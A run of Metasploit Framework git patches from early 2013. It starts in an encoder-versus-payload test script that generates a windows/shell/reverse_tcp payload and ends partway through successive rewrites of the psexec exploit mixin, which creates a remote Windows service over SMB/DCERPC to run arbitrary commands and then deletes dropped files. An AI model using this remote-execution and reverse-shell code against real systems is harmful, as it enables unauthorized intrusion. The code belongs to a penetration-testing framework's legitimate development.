EXPLOITS.each_module do | name, mod | + + exploit = mod.new + print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose + begin + encoder = $msf.encoders.create( encoder_name ) + raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) + success += 1 + rescue + print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose + fail += 1 + end + end + return [ success, fail ] +end + +def generate_payload( name ) + + payload = $msf.payloads.create( name ) + + # set options for a reverse_tcp payload + payload.datastore['LHOST'] = '192.168.2.1' + payload.datastore['RHOST'] = '192.168.2.254' + payload.datastore['RPORT'] = '5432' + payload.datastore['LPORT'] = '4444' + # set options for an exec payload + payload.datastore['CMD'] = 'calc' + # set generic options + payload.datastore['EXITFUNC'] = 'thread' + + return payload.generate +end + +def run( encoders, payload_name, verbose=false ) + + payload = generate_payload( payload_name ) + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), + 'Indent' => 4, + 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] + ) + + encoders.each do | encoder_name | + + success, fail = encoder_v_payload( encoder_name, payload, verbose ) + + table << [ encoder_name, success, fail ] + + end + + return table +end + +if( $0 == __FILE__ ) + + print_line( "[+] Starting.\n" ) + + encoders = [ + 'x86/bloxor', + 'x86/shikata_ga_nai', + 'x86/jmp_call_additive', + 'x86/fnstenv_mov', + 'x86/countdown', + 'x86/call4_dword_xor' + ] + + payload_name = 'windows/shell/reverse_tcp' + + verbose = false + + result_table = run( encoders, payload_name, verbose ) + + print_line( "\n\n#{result_table.to_s}\n\n" ) + + print_line( "[+] Finished.\n" ) +end + + + + \ No newline at end of file From f8e1ccc27eac4e0ee4b56cb666fe5e67b5023d43 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 10 Jan 2013 17:50:00 -0600 Subject: [PATCH 008/448] Remove cred_files migration [#41837027] Mdm::CredFile is only used in Pro, so for metasploit_data_models 0.4.0, Mdm::CredFiles has been moved to Pro, so the migration has been moved to Pro too. --- Gemfile | 4 +--- Gemfile.lock | 21 +++++++++---------- .../20110608113500_add_cred_file_table.rb | 20 ------------------ 3 files changed, 11 insertions(+), 34 deletions(-) delete mode 100755 data/sql/migrate/20110608113500_add_cred_file_table.rb diff --git a/Gemfile b/Gemfile index 0bb1135b0b..502e0060b3 100755 --- a/Gemfile +++ b/Gemfile @@ -2,10 +2,8 @@ source 'http://rubygems.org' # Need 3+ for ActiveSupport::Concern gem 'activesupport', '>= 3.0.0' -# Needed for Msf::DbManager -gem 'activerecord' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' group :development do # Markdown formatting for yard diff --git a/Gemfile.lock b/Gemfile.lock index a9531cb601..99f60b664d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,10 +1,10 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 73f26789500f278dd6fd555e839d09a3b81a05f4 - tag: 0.3.0 + revision: 448c1065329efea1eac76a3897f626f122666743 + tag: 0.4.0 specs: - metasploit_data_models (0.3.0) - activerecord + metasploit_data_models (0.4.0) + activerecord (>= 3.2.10) activesupport pg pry @@ -12,15 +12,15 @@ GIT GEM remote: http://rubygems.org/ specs: - activemodel (3.2.9) - activesupport (= 3.2.9) + activemodel (3.2.11) + activesupport (= 3.2.11) builder (~> 3.0.0) - activerecord (3.2.9) - activemodel (= 3.2.9) - activesupport (= 3.2.9) + activerecord (3.2.11) + activemodel (= 3.2.11) + activesupport (= 3.2.11) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.9) + activesupport (3.2.11) i18n (~> 0.6) multi_json (~> 1.0) arel (3.0.2) @@ -57,7 +57,6 @@ PLATFORMS ruby DEPENDENCIES - activerecord activesupport (>= 3.0.0) metasploit_data_models! rake diff --git a/data/sql/migrate/20110608113500_add_cred_file_table.rb b/data/sql/migrate/20110608113500_add_cred_file_table.rb deleted file mode 100755 index 9780e261e7..0000000000 --- a/data/sql/migrate/20110608113500_add_cred_file_table.rb +++ /dev/null @@ -1,20 +0,0 @@ -class AddCredFileTable < ActiveRecord::Migration - - def self.up - create_table :cred_files do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :path, :limit => 1024 - t.string :ftype, :limit => 16 - t.string :created_by - t.string :name, :limit => 512 - t.string :desc, :limit => 1024 - - t.timestamps - end - end - - def self.down - drop_table :cred_files - end - -end From af2b1ec25b72f8e6c28f213555d8c71d0c8b9f5f Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 15 Jan 2013 14:22:11 -0600 Subject: [PATCH 009/448] Clean up doc comments --- lib/msf/core/exploit/psexec.rb | 44 ++++++++++++++++++++-------------- 1 file changed, 26 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 103241a30f..e31a6a68c1 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -13,12 +13,15 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB - # Retrives output from the executed command + # Retrieves output from the executed command + # + # @example + # get_output("C$", rhost, '\WINDOWS\Temp\outputfile.txt') + # # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails + # @param ip [String] Remote host to connect to + # @param file [String] Path to the output file relative to the +smbshare+ + # @return [String,nil] output or nil if retrieval fails def get_output(smbshare, ip, file) begin print_status("Getting the command output...") @@ -35,12 +38,14 @@ module Exploit::Remote::Psexec end - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # redirect its output to a file and then use {#get_output} to retrieve + # it. Make sure to use the {#cleanup_after} method when you are done. + # # @param command [String] Should be a valid windows command - # @return true if everything wen't well + # @return [Boolean] true if everything wen't well def psexec(command) simple.connect("IPC$") @@ -152,14 +157,17 @@ module Exploit::Remote::Psexec return true end - # This is the cleanup method, removes .txt and .bat file/s created during execution + # This is the cleanup method, removes .txt and .bat file/s created + # during execution + # + # @example + # cleanup_after("C$", rhost, '\WINDOWS\Temp\output.txt', 'C:\WINDOWS\Temp\batchfile.bat') + # # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param text [File Path] Path to the text file relative to the smbshare - # Example: '\WINDOWS\Temp\output.txt' - # @param bat [File Path] Full path to the batch file created - # Example: 'C:\WINDOWS\Temp\batchfile.bat' - # @return only in the event of an error + # @param ip [String] IP address of remote host to connect to + # @param text [String] Path to the text file relative to the smbshare + # @param bat [String] Full path to the batch file created + # @return [StandarError] only in the event of an error def cleanup_after(smbshare, ip, text, bat) begin # Try and do cleanup command/s @@ -183,7 +191,7 @@ module Exploit::Remote::Psexec def check_cleanup(smbshare, ip, text) simple.connect("\\\\#{ip}\\#{smbshare}") begin - if checktext = simple.open(text, 'ro') + if simple.open(text, 'ro') check = false else check = true From 6773a1063227173c3ce3f0a36ef42fa5aada7190 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Tue, 15 Jan 2013 16:24:16 -0600 Subject: [PATCH 010/448] Made changes to cleanup to use file_dropper instead --- lib/msf/core/exploit/psexec.rb | 45 ++++++++++++---------------------- 1 file changed, 16 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index e31a6a68c1..7e8b030564 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -12,6 +12,7 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB + include Msf::Exploit::FileDropper # Retrieves output from the executed command # @@ -47,7 +48,7 @@ module Exploit::Remote::Psexec # @param command [String] Should be a valid windows command # @return [Boolean] true if everything wen't well def psexec(command) - + print_status("#{peer} - Executing: #{command}") simple.connect("IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) @@ -157,34 +158,20 @@ module Exploit::Remote::Psexec return true end - # This is the cleanup method, removes .txt and .bat file/s created - # during execution - # - # @example - # cleanup_after("C$", rhost, '\WINDOWS\Temp\output.txt', 'C:\WINDOWS\Temp\batchfile.bat') - # - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [String] IP address of remote host to connect to - # @param text [String] Path to the text file relative to the smbshare - # @param bat [String] Full path to the batch file created - # @return [StandarError] only in the event of an error - def cleanup_after(smbshare, ip, text, bat) - begin - # Try and do cleanup command/s - cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" - print_status("#{peer} - Executing cleanup...") - psexec(cleanup) - if !check_cleanup(smbshare, ip, text) - print_error("#{peer} - Unable to cleanup. Make sure to manually remove files from the target.") - else - print_status("#{peer} - Cleanup was successful") - end - rescue StandardError => cleanuperror - print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") - print_error("#{peer} - Make sure to manually remove files from the target") - return cleanuperror - end - end + # This method is called by file_dropper to remove files droped + # By your module + # + # @example + # file_rm('C:\WINDOWS\Temp\output.txt') + # + # @param file [String] Full path to a file on the remote host + # @return [StandardError] only in the event of an error + def file_rm(file) + delete = "%COMSPEC% /C del #{file}" + print_status("#{peer} - Deleting #{file}") + psexec(delete) + print_status("#{peer} - Command Ran") + end # Make sure the cleanup command worked # This method should only be called from within cleanup_after From f7571d89de913ccfb1fe0104d7f95d5ac6cb9f5b Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Wed, 16 Jan 2013 09:56:27 -0600 Subject: [PATCH 011/448] Fixed cleanup_after funciton to mimic file_dropper but not use file_dropper --- lib/msf/core/exploit/psexec.rb | 307 +++++++++++++++++---------------- 1 file changed, 156 insertions(+), 151 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 7e8b030564..570dcd1634 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -10,153 +10,147 @@ module Msf module Exploit::Remote::Psexec - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB - # Retrieves output from the executed command - # - # @example - # get_output("C$", rhost, '\WINDOWS\Temp\outputfile.txt') - # - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [String] Remote host to connect to - # @param file [String] Path to the output file relative to the +smbshare+ - # @return [String,nil] output or nil if retrieval fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue StandardError => output_error - print_error("Error getting command output. #{output_error.class}. #{output_error}.") - return nil - end - end + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue StandardError => output_error + print_error("Error getting command output. #{output_error.class}. #{output_error}.") + return nil + end + end - # Executes a single windows command. - # - # If you want to retrieve the output of your command you'll have to - # redirect its output to a file and then use {#get_output} to retrieve - # it. Make sure to use the {#cleanup_after} method when you are done. - # - # @param command [String] Should be a valid windows command - # @return [Boolean] true if everything wen't well - def psexec(command) - print_status("#{peer} - Executing: #{command}") - simple.connect("IPC$") + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end # This method is called by file_dropper to remove files droped # By your module @@ -168,28 +162,39 @@ module Exploit::Remote::Psexec # @return [StandardError] only in the event of an error def file_rm(file) delete = "%COMSPEC% /C del #{file}" - print_status("#{peer} - Deleting #{file}") + vprint_status("#{peer} - Deleting #{file}") psexec(delete) - print_status("#{peer} - Command Ran") end - # Make sure the cleanup command worked - # This method should only be called from within cleanup_after - def check_cleanup(smbshare, ip, text) - simple.connect("\\\\#{ip}\\#{smbshare}") - begin - if simple.open(text, 'ro') - check = false - else - check = true - end - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return check - rescue StandardError => check_error - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return true - end - end + # This method stores files in an Instance array + # The files are then deleted from the remote host once + # the cleanup_after method is called + # + # @example + # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") + # @param file [String] Full path to the file on the remote host + def register_file_for_cleanup(*file) + @dropped_files ||= [] + @dropped_files += file + end + + # This method removes any files that were dropped on the remote system + # and marked with the register_file_for_cleanup method + def cleanup_after + print_status("#{peer} - Removing files dropped by your module/exploit") + if !@dropped_files + return + end + @dropped_files.delete_if do |file| + begin + file_rm(file) + print_good("#{peer} - Deleted #{file}") + rescue StandardError => file_rm_error + print_error("#{peer} - Unable to delte #{file}. #{file_rm_error}") + return + end + end + end end From 00a9c7259599c92528b50e246ef83288c84f25c3 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Thu, 17 Jan 2013 19:02:13 -0600 Subject: [PATCH 012/448] Fixed exception handeling. No longer using rescure StandardError --- lib/msf/core/exploit/psexec.rb | 345 ++++++++++++++++----------------- 1 file changed, 172 insertions(+), 173 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 570dcd1634..9763b6d1f7 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -10,192 +10,191 @@ module Msf module Exploit::Remote::Psexec - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB - # Retrives output from the executed command - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue StandardError => output_error - print_error("Error getting command output. #{output_error.class}. #{output_error}.") - return nil - end - end - - - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. - # @param command [String] Should be a valid windows command - # @return true if everything wen't well - def psexec(command) - - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error + print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") + return nil + end end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") + + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil + + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception + # This method is called by file_dropper to remove files droped + # By your module + # + # @example + # file_rm('C:\WINDOWS\Temp\output.txt') + # + # @param file [String] Full path to a file on the remote host + # @return [StandardError] only in the event of an error + def file_rm(file) + delete = "%COMSPEC% /C del #{file}" + vprint_status("#{peer} - Deleting #{file}") + psexec(delete) end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + # This method stores files in an Instance array + # The files are then deleted from the remote host once + # the cleanup_after method is called + # + # @example + # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") + # @param file [String] Full path to the file on the remote host + def register_file_for_cleanup(*file) + @dropped_files ||= [] + @dropped_files += file end - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + # This method removes any files that were dropped on the remote system + # and marked with the register_file_for_cleanup method + def cleanup_after + print_status("#{peer} - Removing files dropped by your module/exploit") + if !@dropped_files + return + end + begin + @dropped_files.delete_if do |file| + file_rm(file) + print_good("#{peer} - Deleted #{file}") + end + rescue ::Exception => cleanup_error + print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") + end end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end - - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end - - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end - - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - @dropped_files.delete_if do |file| - begin - file_rm(file) - print_good("#{peer} - Deleted #{file}") - rescue StandardError => file_rm_error - 